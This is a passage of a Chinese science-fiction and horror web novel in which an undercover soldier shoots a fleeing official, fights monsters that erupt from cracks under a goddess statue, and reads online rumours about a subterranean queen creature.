终端镜头给到苦难女神像时,直播间的人数迅速攀升,从几百人涨到上万。 小徐瞠目结舌,立即调整镜头,将画面变得更清晰些。 她是不信这些的,想不通一个不存在的神祇哪来那么大魅力。虽然心中冒嘀咕,但没人会和流量过不去。 “感谢女神。” 她随意嘀咕了下。 话音未落,顷刻间“感谢女神”刷屏整个直播间,魔怔又癫狂,那些字仿佛在她耳边不停呢喃,鸡皮疙瘩霎时起了一身。 女神高大的雕像俯瞰一座座城市,慈悲的眸光落在每个朝拜人的身上,聆听心愿。 她为人类带来赎罪的机会, 只要忍过今生的苦难, 赎清罪孽,便可升入天堂。 朝拜的人虔诚匍匐在雕塑之下,这在钢筋水泥建筑群中显得格格不入。 屏幕也不断地飘过愿望,直播间人数再创新高。 “希望我的小女儿黛西病快点好!” “暴富!这次彩票一定要中!” “我喜欢的人会喜欢我吗?好像和他在一起啊。” “该死的上司,神诞日都不放假,神啊, 您真该让他下地狱!” “希望他们别催婚了!我真的不想结婚啊啊啊!” 很快,人数突破二十万。 二十万! 她嘴角的弧度再也压不下。 感谢女神给她带来的流量,要是再多点就更好了,信女不贪,只求大富大贵一辈子。 一阵清凉的晨风袭来,似乎吹来了一些若有若无的警鸣。 节奏急促又规律。 小徐在网上听到过这种特殊的鸣声,好像是—— 联邦军车特有的警鸣声。 她眼皮一跳,这个时候鸣笛…… 一种猜想渐渐浮上心头。 嘶,该不会网上传的是真的吧?说是掌权的霍尔上校十分厌恶苦难女神,扬言要砸掉全联邦的女神雕像。 好好好,流量这不就来了吗? ! 标题都想好了,“霍尔上校砸的是雕塑还是信仰?” 她捏紧终端,拔腿循着警鸣声走:“凭借我敏锐的嗅觉,预感有大事发生,女神像过会再给你们直播,先带你们看看别的。” 闻言,观众的好奇完全被吊起,看着画面颠簸了好一阵,才逐渐清晰起来。 距离女神公园不到几百米的大道上,几辆鸣笛的联邦军车疾驰,又是闯红灯又是超车加塞。 评论腾地热闹起来,众人吃瓜的心再也按耐不住。 “这是干什么呀这是干什么呀,联邦军车怎么会这么多?不会有什么恐怖袭击吧。” 也有眼尖心细的,“它们好像在追前面那辆车。” 前方的豪车如逃命亡徒,疯了似横冲直撞,防窥玻璃窗紧闭,看不见里面的光景。 逃亡车漂移闪躲过好几发子弹。 评论也格外热闹。 “这就是我们联邦军人的实力……?这届新军准头不行啊。” “别打到路人了!!” “车牌号有点眼熟。” “卧槽卧槽我想起来了,是江代伟的车!” “江代伟是谁?” “前面的,江代伟你都不知道!那可是咱联邦赫赫有名的大贪官,你居然不知道?之前怎么举报也没用,这怎么突然被军队追了?” “嘭嘭嘭——” 猛然间,连着数发子弹射穿车窗,“啪啦啦”玻璃四分五裂。 “枪法突然准了怎么回事,误打误撞?” 瞥见这个评论,小徐忍不住笑了下。 悬浮车的黑影从头顶掠过,呼啸的风带动摇曳的裙摆。 她仰头。 行驶靠前靠上方的联邦军车车门大开,站着一个身姿潇洒帅气的女人,佩戴着特殊的蓝色眼镜,举着狙击枪。她狭长上挑的眸子微光流转,唇瓣轻抿。 蓦地,那双淡淡的眼眸同小徐对上,小徐只觉呼吸一滞,大脑断了片。 可那身影旋即便消失在视野中。 直播间炸开了锅,人数竟直逼五十万。 五十万! 小徐不可置信,握着终端的手微微颤抖。 “主播,五秒!我要这个女人的全部信息!!好帅!啊啊啊啊啊!” “果然好看的都上交给了联邦了。” “刚刷到这里的我心动了,帅到心巴上了。” “谁懂谁懂!!她看过来的那一刻,我体会到了什么叫一见钟情!” …… “干得不错,于衡。” 闻楚云罕见地露出一丝笑意,但在看到唯唯诺诺尽可能缩成团,压低存在感的狙击手时,那抹笑意荡然无存,眼底只有冷峻。 “你是怎么回事?射了那么多发子弹,全打在地上。” 闻楚云这人向来严厉,加上令人心生畏惧的外表,没有哪个新兵不怕的。 她习惯剃寸头,眼神像鹰,犀利而冰冷,左手臂固执地使用机械手臂。 如今是义肢产业极为发达,完美贴合人体的逼真手臂很多,但她更在乎功能而非外观。 狙击手不敢接话,垂着头不言不发,看见于衡落座,才松了口气。 “还得是你啊于衡,早知道应该让你来当狙击手的。”他半开玩笑道。 “……哦。”对方礼貌性地答复了下。 狙击手:……完全聊不下去是怎么回事? ! 俩人坐得近,他甚至能听见她均匀的呼吸声,看见她黑漆漆的瞳孔,淡漠至极。 “这么多年你真的一点没变啊,我还以为同窗十几年的情谊,能让你多说几句话呢。” 他无意说着,并未注意到对方攥住狙击枪的手指愈来愈用力,骨节泛着青白。 于衡……也就是宋拾,她成功混了进来。 自从进入联邦军队,她的无时无刻不胆战心惊,生怕自己哪里出了错,露出端倪。 但还好,到目前为止她演得像模像样,没人发现不对劲的地方。 他们的任务是活捉江代伟,所以她在射杀司机后,又在目标膝盖射了两枪,丧失行动能力又能保证生命安全。 霍尔设了场鸿门宴,联邦市大臣官员都在受邀范围内,有人想借机攀附新大树,也有人心虚,像江代伟一样趁着宴会空隙,妄图逃之夭夭,但无一例外都被活捉了回来。 上校并没有打算杀他们,大换血需要循序渐进,更何况,他们之中的一些人和哀涅托关系密切,不得不谨慎。 “不是我说,没事你跑什么?” 闻楚云叼着烟,居高临下地打量被锢住手臂,压住的中年男人,大腹便便,肥头大耳,油腻腻的脸上满是大汗。 “求求你们,求求上校大人,我不想死啊!我不能死!我的老婆孩子还需要我——” 江代伟哀嚎,肥肉横生的面庞被惊恐占据,豆大的眼珠竭力瞪得更大,一副悔恨的模样。 “老婆孩子不是被你丢在家里了吗,现在又想到她们了呀。” 闻楚云嗤笑一声,敛眸,“带回去。” 江代伟像青菜一样,两脚无力垂着,被架上了车,血液顺过裤筒滴成一条直线。 余光瞥见身旁的人,她的冷硬的表情才稍稍松弛,唇角带笑,拍拍对方的肩膀,“好好干。” “是。” 年轻的女人嘴唇绷成一条直线,看起来比她还要严肃。 一个优秀又省心的手下,闻楚云简直喜欢得不行,唯一的缺点就是下属话太少,说三句只回应一个字。 对此,宋拾也同样痛苦,维持简洁的答复和面瘫的表情,比杀了她还难受。 “反正我也活不成了,不如黄泉路上你们陪我作伴!!” 崩溃的尖叫声爆发。 只见江代伟不知哪来的气力,拿匕首刺穿压制他的人的手掌,挣脱开半个手臂,掀开大衣,露出捆绑在腹部的炸蛋,就要引爆。 众人惊恐万分,大腿像被水泥灌满风干,跑不动。 千钧一发之际,“嘭”子弹射穿了江代伟的眉心,他狰狞的表情永远定格在了脸上。 宋拾放下冒着硝烟气的狙击枪,神情淡然。 “……” “……” “……” 全程凝固,随即爆发出惊天的欢呼。 只有闻楚云走上去,怒视那名受伤的联邦军,“手铐为什么不拷上?要真出了事,在场人的命你怎么陪?” “我刚想要给他拷上,谁知道……” “刚想?”闻楚云被气笑了。 宋拾望着那如鹌鹑一样新兵,感慨恐怕工作不保咯。 突然,她察觉到什么,扭头看向道路一边。 一个鬼鬼祟祟的人举着终端照来照去,宋拾眸光转利,迈开长腿走了过去。 …… “我的老天,她来了来了!她刚刚那一枪好帅你们有没有看见,我要窒息了!” “这是什么?这是我命中注定的伴侣!” “姐姐是不是在看我,嘻嘻。” “前面的,是在看我!” “你们也太夸张了,也没有很帅好吧~_~,瘦成这样,我一拳能打俩。” “呵,有人又开始自信了。” 那张脸愈来愈近,小徐扑通扑通的心脏几乎要跳出嗓子眼,她怔愣站在原地,直到手心空了,也没反应过来。 白皙修长的手指抽过终端。 那双漆黑的眸子漫不经心地看了眼镜头。 “!!!啊我死了!” “她就是看我了!” “这是……直播?” 一声极淡的笑意消散在空中,好似只是她们的幻觉,从未出现过般。 小徐这才回过神,紧张地看着眼前的军人,局促不安地摩挲衣角,“我我我不是故意的,我只是随便拍一拍。” 可下一秒,终端落在她手心。 古墨般的眼眸微挑,不轻不重说道:“下次不要这样了,很危险。” 小徐懵懂地睁大眼,随即眩晕感侵袭,脚底轻飘飘的,像踩在了棉花上。 “可以问一下,您的名字吗?”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 60-70 第61章 “可以问一下, 您的名字吗?” “我的名字?”年轻的军人怔愣住,瞳孔微微收缩,视线似乎略过她, 落到了别处。 如果小徐细心些,就能注意到对方指尖悄悄溢散起蓝色雾气,晦涩的符文在肌肤上隐隐浮现。 她循着她的视线,扭头望向身后,不忘切换直播画面。 碧蓝的天空与绵软的云朵,慈悲的女神像在聆听祂信徒的祷告,一切都还算正常。 谁叫今天是神诞日呢,人们难免有点癫狂,就连她把画面给到神像时, “我神庇佑”的评论顷刻间刷满屏幕。 小徐以为这位联邦军被信徒的阵仗唬住了。 “注意安全。” 她头顶传来轻得几近散去的声音,转过头时,那人已经走远。 “哦家人们,我没给你们要到名字, 但这不能怪主播——毕竟是联邦军嘛, 戒律应该是很森严的吧。” 小徐笑嘻嘻解释,看着屏幕上的评论,朝着广场的方向走,与一对母女擦肩而过。 评论区吵吵嚷嚷起来: “哪有不能问名字的啊!我爸就当过兵, 没听说过这种规定。” “也不是很想问她的名字哎,但她不说的样子真的很装。” “有没有大佬能查到啊?” “可她还让主播注意安全哎,真的好可靠的感觉,想嫁。” “姐妹们姐妹们,我查到了我查到了!是位新晋联邦军,叫于衡!” 一场直播下来, 小徐的粉丝涨了几十万,她准备趁热打铁,剪一条视频出来。 …… 是幻觉吗? 在那一瞬间,宋拾看见天,变了。 天空几乎一瞬间熄灭,厚重的云层堆积,仿佛酝酿着什么。 冷调的灰幕下,伟岸的女神像脚旁匍匐着乌压压的人。 绵密不换气的呢喃重重叠叠,缥缈虚妄,压得让人喘不过气。 他们在歌颂苦难,歌颂女神。 “忍耐痛苦可以通往天堂。” “死亡亦是救赎,来自苦难女神的救赎。” “神会聆听我。” “……” 没有任何营养和意义的话。 但后脊密密麻麻的刺痛预示着危险的到来。 她黑漆的瞳孔映出淡淡的红。 灰调的天空透着诡异的红,渐渐染红整个天际。 可偏偏所有人都未察觉到异样,没有抬头,没有驻足。 他们都没看见吗? 这时,一位母亲牵着女儿,从她身旁经过。女孩好奇地打量了宋拾一眼,又蹦蹦跳跳歪头同母亲说悄悄话,不知说了什么,年轻的母亲露出了笑意。 风将她们轻松的对话送到宋拾耳边。 “妈妈,她们是安防员吗?” “不是哦,是联邦军呢,保护我们的军人。” “军人吗?好帅,我以后也要当联邦军!” 偏偏变故就在稚嫩的童音降落间发生。 “啊啊啊!” “轰隆隆”沉寂的地下某种巨物苏醒般,响彻天际,地面剧烈颤动,人们东倒西歪撞一起。 女神像晃动,轰然倒塌四分五裂,祂的碎片带着信徒的灵魂通往那人人渴望的天堂,“幸运儿”在女神的庇护下永眠。 “救救我!” ——忍耐痛苦可以通往天堂。 天空的颜色愈发深,浓得滴血。 跑! 宋拾嗓子发紧发不出半点声音,腿像被灌满了风干的水泥,动弹不得。 她像个旁观者,只能眼睁睁看着一场又一场的悲剧重演,生命的落幕。 “是女神降下的惩罚!我有罪!”穿着黑色斗篷的男人跪倒在地,面朝天大喊。 异类总是少数,大部分朝拜信徒再也顾不得什么苦难信仰,慌乱地尖叫抱头,乱嗡嗡朝公园外跑。 人潮也几乎瞬息间淹没母女两人,一大一小的手被迫分开。 “妈妈!”稚嫩惊慌的童音恍若一滴水沉入大海,消失了。 “轰!” 原本女神像下的位置裂开一道巨大的豁口。 地面迅速塌陷,碎石滚落,地底伸出的触手迅速将跑得慢的人卷下去。 陷落的人们十指爪状紧抠碎石,大半身体陷进黑暗。 “啊啊啊啊!” “救命!!” “我不想死啊!” “神啊!” 那裂口不再扩大,而是急剧凑近合拢,就像吞了东西下去之后,嘴巴闭上。 活生生的人,就这么埋葬在地底。宋拾眨动干涩的眼睛,那些画面尽数消失。 天空是蓝的,广场依旧挤满了信徒,没有地震,没有豁口。 是因为太累产生的幻觉吗? 又或者是,预言? 可每次预言都是她主动使用的。 宋拾想不通,对于想不通的事情,她通常不愿多想。 看了眼要将天空盯出窟窿的女主播,轻轻说道:“注意安全。” 她嘱咐完,扭身之际,瞥见一对母女,手拉着手,同她擦肩而过。 女孩蹦蹦跳跳,“妈妈,她们是安防员吗?” 宋拾心脏悬停,抬眸望向天空。 蓝的,的确是蓝的。 她的思绪如同漫天的柳絮,堵得太阳穴突突作痛。 “于衡?” 车窗外景象不断幻化,全息银幕上的明星笑容亲和,展示代言的产品。 “奥罗拉义肢,为您带来更好的生活体验。” 奥罗拉的广告几乎承包了联邦市的全部银幕,不是义肢就是仿生人和营养液。 闻楚云透过后视镜,打量沉默不语的女人。 她哪怕是安静地坐在那,人们的目光也不由得落在她身上。 “你临场反应能力很好。” 宋拾愣了半刻,才反应过来是说自己,抬眸,对上后视镜中那双深邃的眸子。 “谢谢。” “身体不舒服吗?”闻上尉再度看向她的新部下,“枪快被你捏碎了。” 宋拾这才注意到自己握枪的手指因用力而泛青白,她垂下头,碎发散落在脸颊,有些瘙痒。 她低声道:“第一次执行任务,难免有些紧张。” “什么?”闻楚云险些以为自己听错了。 紧张? ? 紧张得面无表情开枪吗? 还是要尽快适应这个身份,宋拾正失神想着,身旁的人却猛得撞了她下。 “于衡你火了!” 那位准头不行的狙击手兴奋地将终端递过去。 劲爆酷炫的剪辑,逼格十足的BGM,一枚子弹破开车窗,玻璃水花般溅开,转换成一张女人的脸,上挑的眼尾,冷淡的神色。 配文:老婆踩我! 短短十几秒的视频,点赞居然破了十万,并且还在上涨。 那个主播! 她大脑彻底宕机。 “什么火了?” 闻上尉侧身,接过狙击手双手呈上的终端,看清视频的主角时,嘴角的笑意难压。 宋拾大脑宕机过后,又开始无声尖叫。 不是,怎么就莫名其妙火了? ? ! 如果她有罪请让法律制裁她,而不是让她这个卧底出现在联邦网里被一群人喊老婆踩我! 深深吐出口气,神色自若:“将军,这种视频我觉得有损联邦军的形象,是不是应该压下去……” 闻楚云打断她,“怎么会损害形象?我看是正面的宣传!挺好!” 狙击手立即附和,“就是就是。” “……” 她望向窗外,万里无云,天清气朗。 但愿西索斯不刷视频。 突然一串电流,车内凭空出现蓝色的荧幕,只见身穿白金色制服的人神色紧张而郑重。 “安防局请求支援。” 她的身后混乱而嘈杂,奔跑尖叫的人群,裂开的地面和满地的鲜血尸体,安防员们正齐力抵御白色一堆人形怪物。 “噫——!” 它们没有毛发,约莫两米长,惨白的肤色,四肢颀长,没有鼻孔嘴巴,骨刺从额头一路延伸至尾椎,大概是开了荤的缘故,那些骨刺兴奋地抖动。 是安吉尔。 而天空,是赤红色的,火烧一般。 定位地址,联邦市女神像广场。 宋拾呼吸一滞。 恐怕不是幻觉。 中途换了辆悬浮车,折返广场。 支援军除了她,还有十几个人,而剩下的人负责将江代伟的尸体运回去交代任务。 距离女神像广场越近,磁场越发不稳定,几次险些翻车。 抵达目的地,广场上只剩下几名负伤的安防员殊死抵抗。 被鲜血浸染的广场和天边的红相映,地上摆满成片成片的干尸,安吉尔们餍足地震动骨刺。 “这些玩意究竟是从哪冒出来的?”狙击手不可置信地看着这一幕,虽说见惯了血腥场面,但他胃里还是忍不住翻涌。 联邦市的治安是整个联邦最好的,即便是检查不严,也只会冒出零星几个变异生物,可一次性这么多,简直不可思议。 “谁知道呢,指甲那么长,指不定是挖地道来的。”一个五大三粗同事说道,他显然是有经验的,举起枪瞄准,“瞄准它们的呼吸孔。” “嘭嘭——”子弹齐鸣。 宋拾屏息,沉寂下心,瞄准攻击安防员的安吉尔,弹无虚发,全部击中呼吸孔,惹得那名同事频频用余光看她。 “新面孔?枪法可以,果然是后浪推前浪啊。” “谢谢。” 宋拾在资料里见过他,是位精神师,叫郭贾同。 “噫——” “遭了,它们看过来的!” 安吉尔们纯白的眼珠子转动,诡异的目光让在场的所有人汗毛直立,脊背上的骨刺兴奋松动,发出尖锐的鸣叫。 过膝的长臂甩动,以一种诡异的跑姿朝他们冲来。 见势不妙,所有人立即退回到车里,狙击手焦躁地大喊:“快快快!开车!快开车!” 郭贾同咬牙切齿骂:“妈的别喊了,他娘的车子启动不了!再喊把你扔下去。” 屏幕上大大的红叉,急促的警报,“磁场不稳定,磁场不稳定,无法启动。” 他踹了一脚车,拉开车门。 “下车,肉搏也要干死这群野种!” 狙击手惊愕看过去:“你疯了吗!” 下秒,“咔嚓”车窗玻璃被锋利的指甲刺穿,一把插进狙击手的眼珠里。 乳白色鲜红色喷溅而出。 宋拾佩戴的蓝色眼镜花了。 第62章 宙启急促的警报: “警报警报, 磁场不稳定,磁场不稳定,检测到大量变异生物种靠近, 请立即撤离!” “啊!我的眼睛!” 尖锐的指甲深嵌进他的眼眶, 令人战栗的疼痛,旋即又被用力一带,小半个身体卡在车窗上。 要不是队友们紧拖着他的腿,狙击手早被贯出车窗了。 唯一一只尚好的眼珠也被血液模糊,只能隐约看见郭贾同似乎在与那群人形生物肉搏。 他从未有过的绝望,血液的流逝, 生命力的流逝, 喉咙如同被人死死扼住, 发不出半点声音。 他该告诉队友松手。 这么拖下去,死的人可能就不止他了。 于是,艰难的从牙缝里挤出点声音:“你们……” “你们抱紧他,我先下车。” 一道清冷的嗓音传进耳朵,车门猛得推开又“咣当”阖上。 宋拾率先下去, 掏出腰间的手枪,快步冲到能开枪的位置,对准袭击狙击手的安吉尔的呼吸孔。 “噫——”高大的黑影袭向她。 如果时间掐得足够准, 兴许能躲开。 宋拾咬住下唇, 没有躲避,扣动扳机。 “嘭——” 子弹射进呼吸孔,那异种尖锐鸣叫了声,软塌塌瘫倒下去,狙击手也瞬间被同伴扯进车内。 正要侧身躲过时,郭贾同不知从哪蹿出挡在她身前。 暴躁的男人红着脖子朝车喊:“那些家伙越来越多了,快通知上面!不然咱们今天都待死在这!” “铛!”锋利的长甲撕破布料,可触碰到皮肉非但插不进去,还如同打在钢铁上般被弹了回去。 郭贾同站在那,安吉尔竟无法伤他分毫。 【钢筋铁骨:你将拥有钢铁一般的身躯,刀枪不入。 】 宋拾恍惚一瞬,神识中缓缓出现这行字。 【读取】似乎并不需要她主动使用。 情况危机,她没有愣太久,在旁人看来她只是皱了下眉,举起手枪“嘭嘭嘭”击中三个安吉尔的呼吸孔。 车内的队友也在奋力开枪。 两人后背贴在一起,郭贾同紧盯着虎视眈眈的异种们,沉声道:“打出一条路,兴许能……” 然而下秒,他的话哽在喉咙里。 他们彻底被包围了。 源源不断的安吉尔。 可它们像是顾及着什么,迟迟没有行动。 宋拾当然知道它们在顾及什么。 她悄悄释放了些精神力,也算是起到了威慑作用,但恐怕不会维持太久。 “之前有这么多吗?”有人上下牙打颤,颤抖着声音问。 究竟从哪里冒出来这么多。 宋拾也想问。 她咬牙,透过缝隙蓦地瞥见广场上的女神像,同幻觉中的一样,碎成一块又一块,再往下是地缝…… 地缝—— 难道真的应了郭贾同的话,从地里出来的? “看样子,咱都要殉职咯。”郭贾同苦笑。 宋拾没有应声,缓缓吐出一口气,调整呼吸频率。 冷静冷静。 总会有办法的。 等救援队不知道要等多久,与其坐以待毙,倒不如搏一把。 领域,共享,空间传送,湮灭……都不行。 会暴露身份。 她额头冒出些细汗,耳边嗡鸣。 ……等等,还有幻觉。 虽然也有暴露的风险,但值得一试。 她只在人类身上使用过,不知道对异种有没有用。 安吉尔的数量过多,她需要一些时间。 “噫!” 安吉尔们察觉到某种力量的变化,脊背上的骨刺高速震动,猛然扑过来。 “三。”她在心中默念,一脚蹬开袭来的安吉尔。 “噫!”骨刺亢奋竖起,摩擦,呼吸孔内发出尖锐的鸣叫。 它眼睛眯成一条细长而危险的缝,猛然扑向她。 宋拾吐出一口气,小腿勾起,利落抽出藏在鞋缝的短刀,两指夹着刀柄,丢出的瞬间,脚尖点地,一跃而起,踹开另一只安吉尔。 “二。” 安吉尔们彻底震怒,一同扑来。 她压下眉头,喉咙松动,“一……”淡淡的蓝色气流从她指尖流散。 然而,安吉尔们却先一步停止攻击,不知从哪飘荡来的悠扬哼吟,一如柔软的羽毛,却又带着些沙砾的颗粒感,听得人心尖泛痒。 它们的眼睛眯成长长的缝,两米高的身子晃悠悠,惬意至极的模样。 歌声婉转悠扬,像蜷缩在温暖的羊水里听见的摇篮曲。 遭了。 宋拾暗道不妙。 两腿却软绵绵的,踩在棉花上似的,浑身乏力酸胀。 “扑通”“扑通”越来越多的安吉尔倒下,它们的呼吸孔平稳地呼出气流,像是陷入深度睡眠。 队员们也意识恍惚起来,忍不住打起哈欠,眼皮无力地垂落,攥紧的枪支从手心滑落。 “不能睡!”郭贾同大喊一声,可刚说完,他就闭上眼昏死倒地。 为什么每次她都能碰见倒霉事? 宋拾想苦笑,可笑不出来。 用力咬破舌头,淡淡的铁锈味萦绕在口腔,她靠着那股刺痛清醒了片刻,刚向前走了半步,腿发软险些跌倒。 耳边,队员的鼾声像是从很遥远的地方传来,但那塞壬的歌声却始终清晰。 渐渐,意识模糊,画面变成雪花屏,噼里啪啦抖动着雪花点。 “扑通”她双膝跪倒在地,膝盖磕碰到水泥地火辣辣的刺痛。 视线清晰一瞬。 伤口冒出的鲜血浸透过布料染红地面。 她抬头,不远处重重叠叠的影子融合,变成了几个人。 为首的女人双手交叉相握,闭着眼哼吟。她的长发如同海藻,堪堪裹住身体的大衣下是双颀长白皙的腿,泛着美丽耀眼的光泽。 腿怎么会反光? 宋拾晃了晃迟钝的脑袋,眯起眼睛,这次她彻底看清楚了。 反光的不是腿,而是覆盖在腿上纯白色的鱼鳞。 视线上移,女人的面容意外的眼熟。 裴羽流。 而她身旁的人同样眼熟……诺诺和其他的实验体…… 显然,她们逃出来了。 歌声愈发温柔缥缈,随着柔软的风包裹住她,她像被抽走全部气力,意识彻底涣散。 浮萍随着水波飘荡,轻飘飘,不费半点力气,突然,一个巨浪将它打翻。 宋拾做了一个梦,很长的梦。 梦中有个沉睡的巨人,而她,是巨人脚旁一粒微不足道的蚂蚁。 直觉告诉蚂蚁,这个庞然大物快要苏醒了。 可不管怎么跑,兜兜转转,还是回到了巨人的脚下。 蚂蚁像西西弗斯一样,一遍又一遍,日复一日地重复,迎不来的终点近在咫尺又遥不可及。 没有解脱。 …… “滴滴答答”仪器有序的声响。 苏醒时,她躺在联邦市医院的疗养仓内。 医生打开玻璃仓,翻阅着资料道:“你是里面伤的最轻的,却是昏迷最久的一个。” “什么?”宋拾茫然地睁着眼睛。 医生耐着心解释,扶她坐起身,“其他人的大脑或多或少受到了损伤。” 宋拾心脏猛然抽紧,盯着医生的脸,生怕漏掉任何微表情。 她抿了抿干裂的唇瓣,问:“我昏迷多久了?” “正好一个星期。”医生递了件外套给她,肩膀松弛,唇角绽开轻松的笑意,“既然醒了,就快去找你家上尉吧,她这几天不知道往我这里跑了多少回!这下好了,你终于醒了。” 闻楚云跑了很多次? 心脏再度提了起来。 她心事重重接过外套,走出病房,冰冷的凉风袭来,她忍不住哆嗦了下,披好外套。 刚走出医院,门口响起宙启关怀的提示音:“最近降温,请注意保暖。” 宋拾顿了顿,小声:“谢谢。” “不用客气。” 呼啸的狂风,路边种植的树树叶沙沙作响,树枝吱呀呀摇晃。 赶到军律所,见到闻楚云才知道广场受到磁场干扰,监控都坏掉了,滋啦啦雪花屏,而存活的人声都称听见了歌声,接着便昏了过去。 当然,这点也的确被证实了。支援队员抵达看见满地沉睡的安吉尔,密恐都要犯了。 “那一带的磁场不稳定,已经被封锁起来了。” 闻楚云递过来十几张照片,“你回忆回忆,看看能不能想起什么。”说实话,她已经不抱有任何希望了。 宋拾沉默半晌,接过照片一一翻看。 安吉尔安吉尔、干尸、女神像的碎片、睡死的队员、双膝跪地睡觉的她…… 她眼皮抽搐了下,快速翻到下一张。 可越看,眉蹙得越紧。 “怎么了?”上尉放轻声音问,生怕惊到对方。 纤长的手指指向照片中完好的地面,“我记得这里,还有这里,有很大的地缝。” “地缝?” “是的,”宋拾深吸一口气,“地缝。” 她当然可以选择沉默,而且对于一个卧底来说,沉默透明大概是最好的掩护色。 但当危险能足以威胁到每一个人呢? “当时安吉尔越来越多……我怀疑,它们可能是从地缝里出来的。” 闻楚云神情凝重起来,“你说的都是真的?” “真的。” 闻楚云深呼吸,看了眼表,露出安慰意味的笑,“辛苦了,刚上任就遇到这种事……给你批三天的假,好好休息一下。” “谢谢上尉。” …… 于衡并不富裕,所谓的家是负三楼的一间出租屋,潮湿阴冷,弥漫着霉气。 屋内逼仄狭小,家具少得可怜,破旧摇晃的桌凳和咯吱作响的床。 宋拾坐在床上,打开联邦发的专用终端,首页上是熟悉的绿色论坛标识。 真是阴魂不散啊。 点开论坛,映入眼帘的是付秋棠聊天框的红点。 铁皮猫:你一定想不到昨晚敲响我家房门的是谁!妈耶,还好我谨慎,透过猫眼一看,是个黑黢黢的大蟑螂!和人一样大!我知道变异生物恶心,可这么恶心的还是第一次见! ” 今天捡垃圾了吗:你……还好吗? 铁皮猫秒回:宋拾你怎么才看手机啊啊啊!吓死我了!咦嘻嘻,本人还是很聪明的,没吭声,那个家伙就去敲别人的门了。 铁皮猫:你看论坛置顶帖子了吗?最近异种活动好频繁啊。 第63章 论坛首页置顶着一个名为“互帮互助”的帖子。 楼主:鉴于最近实在不安全,所以发了这么一个帖子,希望智者看见能帮忙置顶。下面是我整理出来的情报: 1.异种潮爆发前地面会出现短暂性的裂缝,裂缝内伸出的触手/藤蔓会将人扯进地底。 2.变异生物是从裂缝里爬出来的, 目的只有一个, 吃东西。 3.已出现新品种的变异生物,具有高智商,会模仿人类骗人开门! 4.可能与哀涅托有关。裂缝出现的地点恰好都是女神像广场附近。 …… 9.如果被异种包围时听见歌声,那么恭喜你,得救了。歌声来源未知,但可以肯定的是对方是站在我们这边的。 宋拾抿了抿干裂的唇,盯着帖子出现的人物。 “智者。” 她往下翻了翻评论区。 彩虹软糖□□弹:有没有人亲眼看见过地裂了缝呀? 财神到咯回复彩虹软糖□□弹:没有, 下一个。 椰树比耶:没有, 下一个。 贱民的命也是命:最严重的是我们E2604 ,灯塔起不了半点作用!死了不知道有多少人,再这么下去,根本没人能活下来!我一定要想办法离开这里! 小半生H:啊啊啊啊你不要过来啊, 不要把你的辐射带到别的地方可以吗? 贱民的命也是命回复小半生H:呵呵, 离开E2604区第一件事就是去找你。 降临:只有我注意到这个帖子真被置顶了吗?有没有一种可能,其实智者一直在视奸我们? 破名字我想一夜回复降临:我感觉他应该是那种阴暗的死宅,躲在狭小的房间里, 透过终端, 监视我们的一举一动。 宋拾:嘶……某种意义上,还真被这个破名字我想一夜给说对了。 鳄鱼爱洗澡:我做过一个预知梦,梦见人类灭绝,先是异种袭击,再是地震,海啸。 死就完了回复鳄鱼爱洗澡:这位网友, 你的梦不一定就是预知梦。 …… 宋拾往下刷的有些疲惫,眼球酸涩,突然,她翻评论的手指停顿。 一根小羽毛:地下有一个很恐怖很恐怖的东西,你们可以理解为蜂后,蜂后苏醒需要能量,巨大的能量,而那些工蜂,也就是异种,出来觅食,而我们,就是它们的食物。 今天捡垃圾了吗回复一根小羽毛:你是怎么知道的? 她盯着屏幕,嗓子发紧,不知道为何,让她联想到梦中的巨人。 对方回复得很快,几乎是秒回。 一根小羽毛:我只说一遍,信不信由你。 再发消息过去,发现对方的评论删了。 “……” 她疲惫地瘫在床上,双臂伸展,轻轻唤了声:“墨格拉?” “我在。” 一个精干的女性虚拟形象出现在终端屏幕上,她双手交叠于腹部,面带得体的笑容。 “随时为您效劳。” “回溯那边什么情况?” “还在研究人造精神师。” “哦……那联邦那边呢……等一下。” 宋拾的视线落到挂在斑驳墙壁上的家用终端。 破旧得像在久藤垃圾场捡的,屏幕的边角布满蜘蛛网状的裂痕。 她起身拿起遥控器,按下。 黑色的屏幕赫然亮起。 “还能用。” 奥罗拉的仿生人广告出现在屏幕。精致艳丽的男人撩动耳边的金色碎发,露着白花花的胸肌,抛媚眼勾唇,“主人,带人家回家吧。” “……” 拇指按住按钮换台。 “近日,多科、炭邱、久藤……甚至联邦市也遭到了异种大规模的破坏,是安防不严,还是另有原因?请联邦市生态研究所的戴维教授为我们解惑。” 记者将话筒递给一位儒雅的中年男人。 戴维教授推了推眼镜,清嗓子道:“一开始,我们推测安防出了纰漏,但随着越来越多异种的出现,这种假设显然无法成立。” “后来我们调查到一件很有意思的现象,异种潮爆发前,地面会出现短暂的塌陷断裂,但很快,那些缝隙又会闭合,恢复如初。” 记者神色凝重,犹豫问道:“……那些家伙是不是从裂开的缝隙里爬出来的?” “也许吧,”戴维教授淡淡说着,端起瓷杯抿了口水,“未得到证实的事情都可以大胆猜测。” “那关于异种潮,戴维教授是怎么看的?” 戴维和蔼笑,声音轻柔,问:“孩子,你相信神吗?” 记者被这莫名其妙的提问问的一愣,随即吓得冒出了一身冷汗,嘴唇嗫嚅。 这让她怎么答?信神,她工作不保,回答不信,这段采访一旦被发布,她大概率会被那些疯狂的信徒盯上。 “……” 好在戴维教授并没有太为难她,轻轻笑出声:“关于异种潮,我认为是祂向人类发出的邀请,通往新世界的梯子。” 他说着令人诧异的话,却表现得十足平静,仿佛只是在阐述一件事实。 “死亡,不是生命的终点,而是灵魂逃脱躯壳的契机,唯有永恒才是真理——” 教授的声音戛然而止,屏幕熄灭。 “……”宋拾丢掉手中的遥控器。 又是哀涅托信徒,她最烦神神叨叨的人了。 她叹气,整个人蜷缩在床上,盯着屏幕上那位虚拟女性,脑海中来回盘踞着联邦回溯哀涅托三个势力。 不,不止三个,还有论坛背后的家伙。 而她,要想尽办法活下去。 首要的事情,是拆除装在心脏里的炸蛋。 可几乎是无解,只要手术进行,赵柯那边就会有提示,依旧死路一条,那难道一直要这么打黑工到死吗? “宋拾,”终端内传来墨格拉温柔的声音,“关于联邦,有一小段会议录像,你要看吗?” 闻言,宋拾摘掉痛苦面具,一把攥住终端,“看。” 联邦会议大厅。 长桌旁落座着霍尔、付修明、谅雀、温妮莎、闻楚云,和其它将军大臣,以及一些专家模样的精英。 专家整理桌面上的文件,沉声道:“我们调查队的人到了不同地区进行勘测,最终,我们在E2604的地下检测到大量的生命迹象,并且持续增多,初步推测是有母体在进行繁殖。” 